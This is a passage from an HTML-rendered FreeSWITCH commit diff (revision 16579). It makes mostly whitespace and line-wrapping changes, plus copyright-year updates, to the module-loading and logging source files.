</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Raw Codec Activation Failed %s@%uhz 1 channel %dms\n&quot;, codec_name,
+                                                          rate, interval);
</ins><span class="cx">                         flags = 0;
</span><span class="cx">                         switch_core_speech_close(sh, &amp;flags);
</span><span class="cx">                         switch_core_session_reset(session, SWITCH_TRUE, SWITCH_TRUE);
</span><span class="lines">@@ -2175,7 +2164,8 @@
</span><span class="cx">                                 }
</span><span class="cx">                                 return SWITCH_STATUS_GENERR;
</span><span class="cx">                         }
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Setup timer success %u bytes per %d ms!\n&quot;, sh-&gt;samples * 2, interval);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Setup timer success %u bytes per %d ms!\n&quot;, sh-&gt;samples * 2,
+                                                          interval);
</ins><span class="cx">                 }
</span><span class="cx">                 /* start a thread to absorb incoming audio */
</span><span class="cx">                 switch_core_service_session(session);
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_loadable_modulec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_loadable_module.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_loadable_module.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_loadable_module.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -76,7 +76,8 @@
</span><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> static struct switch_loadable_module_container loadable_modules;
</span><del>-static switch_status_t do_shutdown(switch_loadable_module_t *module, switch_bool_t shutdown, switch_bool_t unload, switch_bool_t fail_if_busy, const char **err);
</del><ins>+static switch_status_t do_shutdown(switch_loadable_module_t *module, switch_bool_t shutdown, switch_bool_t unload, switch_bool_t fail_if_busy,
+                                                                   const char **err);
</ins><span class="cx"> static switch_status_t switch_loadable_module_load_module_ex(char *dir, char *fname, switch_bool_t runtime, switch_bool_t global, const char **err);
</span><span class="cx"> 
</span><span class="cx"> static void *SWITCH_THREAD_FUNC switch_loadable_module_exec(switch_thread_t *thread, void *obj)
</span><span class="lines">@@ -444,7 +445,7 @@
</span><span class="cx">         switch_event_t *event;
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_lock(loadable_modules.mutex);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (old_module-&gt;module_interface-&gt;endpoint_interface) {
</span><span class="cx">                 const switch_endpoint_interface_t *ptr;
</span><span class="cx"> 
</span><span class="lines">@@ -452,12 +453,13 @@
</span><span class="cx">                         if (ptr-&gt;interface_name) {
</span><span class="cx"> 
</span><span class="cx">                                 switch_core_session_hupall_endpoint(ptr, SWITCH_CAUSE_MANAGER_REQUEST);
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Write lock interface '%s' to wait for existing references.\n&quot;, ptr-&gt;interface_name);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Write lock interface '%s' to wait for existing references.\n&quot;,
+                                                                  ptr-&gt;interface_name);
</ins><span class="cx">                                 if (switch_thread_rwlock_trywrlock_timeout(ptr-&gt;rwlock, 10) == SWITCH_STATUS_SUCCESS) {
</span><del>-                    switch_thread_rwlock_unlock(ptr-&gt;rwlock);
-                } else {
-                    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Giving up on '%s' waiting for existing references.\n&quot;, ptr-&gt;interface_name);
-                }
</del><ins>+                                        switch_thread_rwlock_unlock(ptr-&gt;rwlock);
+                                } else {
+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Giving up on '%s' waiting for existing references.\n&quot;, ptr-&gt;interface_name);
+                                }
</ins><span class="cx"> 
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;Deleting Endpoint '%s'\n&quot;, ptr-&gt;interface_name);
</span><span class="cx">                                 if (switch_event_create(&amp;event, SWITCH_EVENT_MODULE_UNLOAD) == SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -542,13 +544,14 @@
</span><span class="cx">                         if (ptr-&gt;interface_name) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;Deleting Application '%s'\n&quot;, ptr-&gt;interface_name);
</span><span class="cx">                                 switch_core_session_hupall_matching_var(SWITCH_CURRENT_APPLICATION_VARIABLE, ptr-&gt;interface_name, SWITCH_CAUSE_MANAGER_REQUEST);
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Write lock interface '%s' to wait for existing references.\n&quot;, ptr-&gt;interface_name);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Write lock interface '%s' to wait for existing references.\n&quot;,
+                                                                  ptr-&gt;interface_name);
</ins><span class="cx">                                 if (switch_thread_rwlock_trywrlock_timeout(ptr-&gt;rwlock, 10) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         switch_thread_rwlock_unlock(ptr-&gt;rwlock);
</span><span class="cx">                                 } else {
</span><del>-                    switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Giving up on '%s' waiting for existing references.\n&quot;, ptr-&gt;interface_name);
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Giving up on '%s' waiting for existing references.\n&quot;, ptr-&gt;interface_name);
</ins><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (switch_event_create(&amp;event, SWITCH_EVENT_MODULE_UNLOAD) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;type&quot;, &quot;application&quot;);
</span><span class="cx">                                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;name&quot;, ptr-&gt;interface_name);
</span><span class="lines">@@ -568,8 +571,9 @@
</span><span class="cx">                         if (ptr-&gt;interface_name) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, &quot;Deleting API Function '%s'\n&quot;, ptr-&gt;interface_name);
</span><span class="cx"> 
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Write lock interface '%s' to wait for existing references.\n&quot;, ptr-&gt;interface_name);
-                                
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Write lock interface '%s' to wait for existing references.\n&quot;,
+                                                                  ptr-&gt;interface_name);
+
</ins><span class="cx">                                 if (switch_thread_rwlock_trywrlock_timeout(ptr-&gt;rwlock, 10) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         switch_thread_rwlock_unlock(ptr-&gt;rwlock);
</span><span class="cx">                                 } else {
</span><span class="lines">@@ -596,8 +600,9 @@
</span><span class="cx">                         if (ptr-&gt;interface_name) {
</span><span class="cx">                                 int i;
</span><span class="cx"> 
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Write lock interface '%s' to wait for existing references.\n&quot;, ptr-&gt;interface_name);
-                                
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Write lock interface '%s' to wait for existing references.\n&quot;,
+                                                                  ptr-&gt;interface_name);
+
</ins><span class="cx">                                 if (switch_thread_rwlock_trywrlock_timeout(ptr-&gt;rwlock, 10) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         switch_thread_rwlock_unlock(ptr-&gt;rwlock);
</span><span class="cx">                                 } else {
</span><span class="lines">@@ -624,8 +629,9 @@
</span><span class="cx"> 
</span><span class="cx">                         if (ptr-&gt;interface_name) {
</span><span class="cx"> 
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Write lock interface '%s' to wait for existing references.\n&quot;, ptr-&gt;interface_name);
-                                
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Write lock interface '%s' to wait for existing references.\n&quot;,
+                                                                  ptr-&gt;interface_name);
+
</ins><span class="cx">                                 if (switch_thread_rwlock_trywrlock_timeout(ptr-&gt;rwlock, 10) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         switch_thread_rwlock_unlock(ptr-&gt;rwlock);
</span><span class="cx">                                 } else {
</span><span class="lines">@@ -649,8 +655,9 @@
</span><span class="cx">                 for (ptr = old_module-&gt;module_interface-&gt;asr_interface; ptr; ptr = ptr-&gt;next) {
</span><span class="cx">                         if (ptr-&gt;interface_name) {
</span><span class="cx"> 
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Write lock interface '%s' to wait for existing references.\n&quot;, ptr-&gt;interface_name);
-                                
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Write lock interface '%s' to wait for existing references.\n&quot;,
+                                                                  ptr-&gt;interface_name);
+
</ins><span class="cx">                                 if (switch_thread_rwlock_trywrlock_timeout(ptr-&gt;rwlock, 10) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         switch_thread_rwlock_unlock(ptr-&gt;rwlock);
</span><span class="cx">                                 } else {
</span><span class="lines">@@ -674,8 +681,9 @@
</span><span class="cx">                 for (ptr = old_module-&gt;module_interface-&gt;directory_interface; ptr; ptr = ptr-&gt;next) {
</span><span class="cx">                         if (ptr-&gt;interface_name) {
</span><span class="cx"> 
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Write lock interface '%s' to wait for existing references.\n&quot;, ptr-&gt;interface_name);
-                                
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Write lock interface '%s' to wait for existing references.\n&quot;,
+                                                                  ptr-&gt;interface_name);
+
</ins><span class="cx">                                 if (switch_thread_rwlock_trywrlock_timeout(ptr-&gt;rwlock, 10) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         switch_thread_rwlock_unlock(ptr-&gt;rwlock);
</span><span class="cx">                                 } else {
</span><span class="lines">@@ -699,8 +707,9 @@
</span><span class="cx"> 
</span><span class="cx">                 for (ptr = old_module-&gt;module_interface-&gt;chat_interface; ptr; ptr = ptr-&gt;next) {
</span><span class="cx">                         if (ptr-&gt;interface_name) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Write lock interface '%s' to wait for existing references.\n&quot;, ptr-&gt;interface_name);
-                                
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Write lock interface '%s' to wait for existing references.\n&quot;,
+                                                                  ptr-&gt;interface_name);
+
</ins><span class="cx">                                 if (switch_thread_rwlock_trywrlock_timeout(ptr-&gt;rwlock, 10) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         switch_thread_rwlock_unlock(ptr-&gt;rwlock);
</span><span class="cx">                                 } else {
</span><span class="lines">@@ -723,8 +732,9 @@
</span><span class="cx"> 
</span><span class="cx">                 for (ptr = old_module-&gt;module_interface-&gt;say_interface; ptr; ptr = ptr-&gt;next) {
</span><span class="cx">                         if (ptr-&gt;interface_name) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Write lock interface '%s' to wait for existing references.\n&quot;, ptr-&gt;interface_name);
-                                
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Write lock interface '%s' to wait for existing references.\n&quot;,
+                                                                  ptr-&gt;interface_name);
+
</ins><span class="cx">                                 if (switch_thread_rwlock_trywrlock_timeout(ptr-&gt;rwlock, 10) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         switch_thread_rwlock_unlock(ptr-&gt;rwlock);
</span><span class="cx">                                 } else {
</span><span class="lines">@@ -801,7 +811,7 @@
</span><span class="cx"> 
</span><span class="cx">         switch_safe_free(derr)
</span><span class="cx"> 
</span><del>-        if (!interface_struct_handle) {
</del><ins>+                if (!interface_struct_handle) {
</ins><span class="cx">                 dso = switch_dso_open(path, load_global, &amp;derr);
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -822,7 +832,7 @@
</span><span class="cx"> 
</span><span class="cx">                 if (interface_struct_handle &amp;&amp; interface_struct_handle-&gt;switch_api_version != SWITCH_API_VERSION) {
</span><span class="cx">                         err = &quot;Trying to load an out of date module, please rebuild the module.&quot;;
</span><del>-                        break;        
</del><ins>+                        break;
</ins><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 if (!load_global &amp;&amp; interface_struct_handle &amp;&amp; switch_test_flag(interface_struct_handle, SMODF_GLOBAL_SYMBOLS)) {
</span><span class="lines">@@ -959,7 +969,7 @@
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_loadable_module_exists(const char *mod)
</span><span class="cx"> {
</span><del>-        switch_status_t status;  
</del><ins>+        switch_status_t status;
</ins><span class="cx"> 
</span><span class="cx">         if (zstr(mod)) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -1002,7 +1012,7 @@
</span><span class="cx">                 *err = &quot;No such module!&quot;;
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx">         switch_mutex_unlock(loadable_modules.mutex);
</span><span class="cx"> 
</span><span class="cx">         if (force) {
</span><span class="lines">@@ -1245,11 +1255,12 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static switch_status_t do_shutdown(switch_loadable_module_t *module, switch_bool_t shutdown, switch_bool_t unload, switch_bool_t fail_if_busy, const char **err)
</del><ins>+static switch_status_t do_shutdown(switch_loadable_module_t *module, switch_bool_t shutdown, switch_bool_t unload, switch_bool_t fail_if_busy,
+                                                                   const char **err)
</ins><span class="cx"> {
</span><span class="cx">         int32_t flags = switch_core_flags();
</span><span class="cx">         switch_assert(module != NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (fail_if_busy &amp;&amp; module-&gt;module_interface-&gt;rwlock &amp;&amp; switch_thread_rwlock_trywrlock(module-&gt;module_interface-&gt;rwlock) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 if (err) {
</span><span class="cx">                         *err = &quot;Module in use.&quot;;
</span><span class="lines">@@ -1274,7 +1285,7 @@
</span><span class="cx">                 switch_thread_rwlock_unlock(module-&gt;module_interface-&gt;rwlock);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (unload &amp;&amp; module-&gt;status != SWITCH_STATUS_NOUNLOAD         &amp;&amp; !(flags &amp; SCF_VG)) {
</del><ins>+        if (unload &amp;&amp; module-&gt;status != SWITCH_STATUS_NOUNLOAD &amp;&amp; !(flags &amp; SCF_VG)) {
</ins><span class="cx">                 switch_memory_pool_t *pool;
</span><span class="cx">                 switch_status_t st;
</span><span class="cx"> 
</span><span class="lines">@@ -1290,7 +1301,7 @@
</span><span class="cx">                         switch_core_destroy_memory_pool(&amp;pool);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> 
</span><span class="cx"> }
</span><span class="lines">@@ -1300,7 +1311,7 @@
</span><span class="cx">         switch_hash_index_t *hi;
</span><span class="cx">         void *val;
</span><span class="cx">         switch_loadable_module_t *module;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!loadable_modules.module_hash) {
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="lines">@@ -1389,22 +1400,22 @@
</span><span class="cx">                         PROTECT_INTERFACE(i);                                                                                \
</span><span class="cx">                 }                                                                                                                                \
</span><span class="cx">                 return i;                                                                                                                \
</span><del>-        }                                                                                                                                        
-        
</del><ins>+        }
+
</ins><span class="cx"> HASH_FUNC(dialplan)
</span><del>-HASH_FUNC(timer)
-HASH_FUNC(application)
-HASH_FUNC(api)
-HASH_FUNC(file)
-HASH_FUNC(speech)
-HASH_FUNC(asr)
-HASH_FUNC(directory)
-HASH_FUNC(chat)
</del><ins>+        HASH_FUNC(timer)
+        HASH_FUNC(application)
+        HASH_FUNC(api)
+        HASH_FUNC(file)
+        HASH_FUNC(speech)
+        HASH_FUNC(asr)
+        HASH_FUNC(directory)
+        HASH_FUNC(chat)
</ins><span class="cx"> 
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_say_interface_t *) switch_loadable_module_get_say_interface(const char *name)
</del><ins>+        SWITCH_DECLARE(switch_say_interface_t *) switch_loadable_module_get_say_interface(const char *name)
</ins><span class="cx"> {
</span><del>-    return switch_core_hash_find_locked(loadable_modules.say_hash, name, loadable_modules.mutex);
</del><ins>+        return switch_core_hash_find_locked(loadable_modules.say_hash, name, loadable_modules.mutex);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_management_interface_t *) switch_loadable_module_get_management_interface(const char *relative_oid)
</span><span class="lines">@@ -1440,7 +1451,8 @@
</span><span class="cx"> 
</span><span class="cx">           found:
</span><span class="cx"> 
</span><del>-                if (!lock &amp;&amp; i &gt; 0) lock = array[i-1]-&gt;microseconds_per_packet;
</del><ins>+                if (!lock &amp;&amp; i &gt; 0)
+                        lock = array[i - 1]-&gt;microseconds_per_packet;
</ins><span class="cx"> 
</span><span class="cx">                 if (i &gt; arraylen) {
</span><span class="cx">                         break;
</span><span class="lines">@@ -1491,13 +1503,13 @@
</span><span class="cx">                 if ((codec_interface = switch_loadable_module_get_codec_interface(name)) != 0) {
</span><span class="cx">                         /* If no specific codec interval is requested opt for 20ms above all else because lots of stuff assumes it */
</span><span class="cx">                         for (imp = codec_interface-&gt;implementations; imp; imp = imp-&gt;next) {
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (imp-&gt;codec_type != SWITCH_CODEC_TYPE_VIDEO) {
</span><span class="cx">                                         if (lock &amp;&amp; imp-&gt;microseconds_per_packet != lock) {
</span><span class="cx">                                                 continue;
</span><span class="cx">                                         }
</span><span class="cx"> 
</span><del>-                                        if ((!interval &amp;&amp; (uint32_t) (imp-&gt;microseconds_per_packet / 1000) != 20) || 
</del><ins>+                                        if ((!interval &amp;&amp; (uint32_t) (imp-&gt;microseconds_per_packet / 1000) != 20) ||
</ins><span class="cx">                                                 (interval &amp;&amp; (uint32_t) (imp-&gt;microseconds_per_packet / 1000) != interval)) {
</span><span class="cx">                                                 continue;
</span><span class="cx">                                         }
</span><span class="lines">@@ -1524,7 +1536,7 @@
</span><span class="cx">                                         if (interval &amp;&amp; (uint32_t) (imp-&gt;microseconds_per_packet / 1000) != interval) {
</span><span class="cx">                                                 continue;
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (rate &amp;&amp; (uint32_t) imp-&gt;samples_per_second != rate) {
</span><span class="cx">                                                 continue;
</span><span class="cx">                                         }
</span><span class="lines">@@ -1538,7 +1550,7 @@
</span><span class="cx">                   found:
</span><span class="cx"> 
</span><span class="cx">                         if (!lock &amp;&amp; i &gt; 0) {
</span><del>-                                lock = array[i-1]-&gt;microseconds_per_packet;
</del><ins>+                                lock = array[i - 1]-&gt;microseconds_per_packet;
</ins><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         UNPROTECT_INTERFACE(codec_interface);
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_logc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_log.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_log.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_log.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -72,14 +72,20 @@
</span><span class="cx"> static WORD wOldColorAttrs;
</span><span class="cx"> static CONSOLE_SCREEN_BUFFER_INFO csbiInfo;
</span><span class="cx"> 
</span><del>-static WORD 
</del><ins>+static WORD
</ins><span class="cx"> #else
</span><del>-static const char*
</del><ins>+static const char *
</ins><span class="cx"> #endif
</span><del>-COLORS[] = { SWITCH_SEQ_DEFAULT_COLOR, SWITCH_SEQ_FRED, SWITCH_SEQ_FRED, SWITCH_SEQ_FRED, SWITCH_SEQ_FMAGEN, SWITCH_SEQ_FCYAN, SWITCH_SEQ_FGREEN, SWITCH_SEQ_FYELLOW };
</del><ins>+ 
+        
+        
+        
+        COLORS[] =
+        { SWITCH_SEQ_DEFAULT_COLOR, SWITCH_SEQ_FRED, SWITCH_SEQ_FRED, SWITCH_SEQ_FRED, SWITCH_SEQ_FMAGEN, SWITCH_SEQ_FCYAN, SWITCH_SEQ_FGREEN,
+SWITCH_SEQ_FYELLOW };
</ins><span class="cx"> 
</span><span class="cx"> 
</span><del>-static switch_log_node_t* switch_log_node_alloc()
</del><ins>+static switch_log_node_t *switch_log_node_alloc()
</ins><span class="cx"> {
</span><span class="cx">         switch_log_node_t *node = NULL;
</span><span class="cx"> #ifdef SWITCH_LOG_RECYCLE
</span><span class="lines">@@ -97,37 +103,37 @@
</span><span class="cx">         return node;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_log_node_t*) switch_log_node_dup(const switch_log_node_t *node)
</del><ins>+SWITCH_DECLARE(switch_log_node_t *) switch_log_node_dup(const switch_log_node_t *node)
</ins><span class="cx"> {
</span><span class="cx">         switch_log_node_t *newnode = switch_log_node_alloc();
</span><del>-        
</del><ins>+
</ins><span class="cx">         *newnode = *node;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!zstr(node-&gt;data)) {
</span><del>-                newnode-&gt;data = strdup(node-&gt;data);        
</del><ins>+                newnode-&gt;data = strdup(node-&gt;data);
</ins><span class="cx">                 switch_assert(node-&gt;data);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!zstr(node-&gt;userdata)) {
</span><span class="cx">                 newnode-&gt;userdata = strdup(node-&gt;userdata);
</span><span class="cx">                 switch_assert(node-&gt;userdata);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return newnode;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(void) switch_log_node_free(switch_log_node_t **pnode)
</span><span class="cx"> {
</span><span class="cx">         switch_log_node_t *node;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!pnode) {
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         node = *pnode;
</span><span class="cx"> 
</span><del>-        if (node) {                
-                switch_safe_free(node-&gt;userdata);                
</del><ins>+        if (node) {
+                switch_safe_free(node-&gt;userdata);
</ins><span class="cx">                 switch_safe_free(node-&gt;data);
</span><span class="cx"> #ifdef SWITCH_LOG_RECYCLE
</span><span class="cx">                 if (switch_queue_trypush(LOG_RECYCLE_QUEUE, node) != SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -137,7 +143,7 @@
</span><span class="cx">                 free(node);
</span><span class="cx"> #endif
</span><span class="cx">         }
</span><del>-        *pnode = NULL;        
</del><ins>+        *pnode = NULL;
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(const char *) switch_log_level2str(switch_log_level_t level)
</span><span class="lines">@@ -186,7 +192,7 @@
</span><span class="cx">                 x = atoi(str);
</span><span class="cx"> 
</span><span class="cx">                 if (x &gt; SWITCH_LOG_INVALID) {
</span><del>-                        return SWITCH_LOG_INVALID -1;
</del><ins>+                        return SWITCH_LOG_INVALID - 1;
</ins><span class="cx">                 } else if (x &lt; 0) {
</span><span class="cx">                         return 0;
</span><span class="cx">                 } else {
</span><span class="lines">@@ -315,15 +321,15 @@
</span><span class="cx">                                                                            const char *userdata, switch_log_level_t level, const char *fmt, ...)
</span><span class="cx"> {
</span><span class="cx">         va_list ap;
</span><del>-        
</del><ins>+
</ins><span class="cx">         va_start(ap, fmt);
</span><span class="cx">         switch_log_vprintf(channel, file, func, line, userdata, level, fmt, ap);
</span><del>-        va_end(ap);        
</del><ins>+        va_end(ap);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> #define do_mods (LOG_QUEUE &amp;&amp; THREAD_RUNNING)
</span><span class="cx"> SWITCH_DECLARE(void) switch_log_vprintf(switch_text_channel_t channel, const char *file, const char *func, int line,
</span><del>-                                                                           const char *userdata, switch_log_level_t level, const char *fmt, va_list ap)
</del><ins>+                                                                                const char *userdata, switch_log_level_t level, const char *fmt, va_list ap)
</ins><span class="cx"> {
</span><span class="cx">         char *data = NULL;
</span><span class="cx">         char *new_fmt = NULL;
</span><span class="lines">@@ -342,14 +348,14 @@
</span><span class="cx">         switch_log_level_t limit_level = runtime.hard_log_level;
</span><span class="cx"> 
</span><span class="cx">         if (channel == SWITCH_CHANNEL_ID_SESSION &amp;&amp; userdata) {
</span><del>-                switch_core_session_t *session = (switch_core_session_t*)userdata;
</del><ins>+                switch_core_session_t *session = (switch_core_session_t *) userdata;
</ins><span class="cx">                 if (limit_level &lt; session-&gt;loglevel) {
</span><span class="cx">                         limit_level = session-&gt;loglevel;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (level &gt; 100) {
</span><del>-                if ((uint32_t)(level - 100) &gt; runtime.debug_level) {
</del><ins>+                if ((uint32_t) (level - 100) &gt; runtime.debug_level) {
</ins><span class="cx">                         return;
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="lines">@@ -370,8 +376,8 @@
</span><span class="cx">                 switch_time_exp_t tm;
</span><span class="cx"> 
</span><span class="cx">                 switch_time_exp_lt(&amp;tm, now);
</span><del>-                switch_snprintf(date, sizeof(date), &quot;%0.4d-%0.2d-%0.2d %0.2d:%0.2d:%0.2d.%0.6d&quot;, 
-                                                tm.tm_year + 1900, tm.tm_mon+1, tm.tm_mday, tm.tm_hour, tm.tm_min, tm.tm_sec, tm.tm_usec);
</del><ins>+                switch_snprintf(date, sizeof(date), &quot;%0.4d-%0.2d-%0.2d %0.2d:%0.2d:%0.2d.%0.6d&quot;,
+                                                tm.tm_year + 1900, tm.tm_mon + 1, tm.tm_mday, tm.tm_hour, tm.tm_min, tm.tm_sec, tm.tm_usec);
</ins><span class="cx"> 
</span><span class="cx">                 //switch_strftime_nocheck(date, &amp;retsize, sizeof(date), &quot;%Y-%m-%d %T&quot;, &amp;tm);
</span><span class="cx"> 
</span><span class="lines">@@ -423,7 +429,7 @@
</span><span class="cx"> 
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (console_mods_loaded == 0 || !do_mods) {
</span><span class="cx">                 if (handle) {
</span><span class="cx">                         int aok = 1;
</span><span class="lines">@@ -460,11 +466,11 @@
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-        } 
</del><ins>+        }
</ins><span class="cx"> 
</span><span class="cx">         if (do_mods &amp;&amp; level &lt;= MAX_LEVEL) {
</span><span class="cx">                 switch_log_node_t *node = switch_log_node_alloc();
</span><del>-                
</del><ins>+
</ins><span class="cx">                 node-&gt;data = data;
</span><span class="cx">                 data = NULL;
</span><span class="cx">                 switch_set_string(node-&gt;file, filep);
</span><span class="lines">@@ -475,7 +481,7 @@
</span><span class="cx">                 node-&gt;timestamp = now;
</span><span class="cx">                 node-&gt;channel = channel;
</span><span class="cx">                 if (channel == SWITCH_CHANNEL_ID_SESSION) {
</span><del>-                        node-&gt;userdata = userdata ? strdup(switch_core_session_get_uuid((switch_core_session_t*)userdata)) : NULL;
</del><ins>+                        node-&gt;userdata = userdata ? strdup(switch_core_session_get_uuid((switch_core_session_t *) userdata)) : NULL;
</ins><span class="cx">                 } else {
</span><span class="cx">                         node-&gt;userdata = !zstr(userdata) ? strdup(userdata) : NULL;
</span><span class="cx">                 }
</span><span class="lines">@@ -495,7 +501,7 @@
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_log_init(switch_memory_pool_t *pool, switch_bool_t colorize)
</span><span class="cx"> {
</span><span class="cx">         switch_threadattr_t *thd_attr;;
</span><del>-        
</del><ins>+
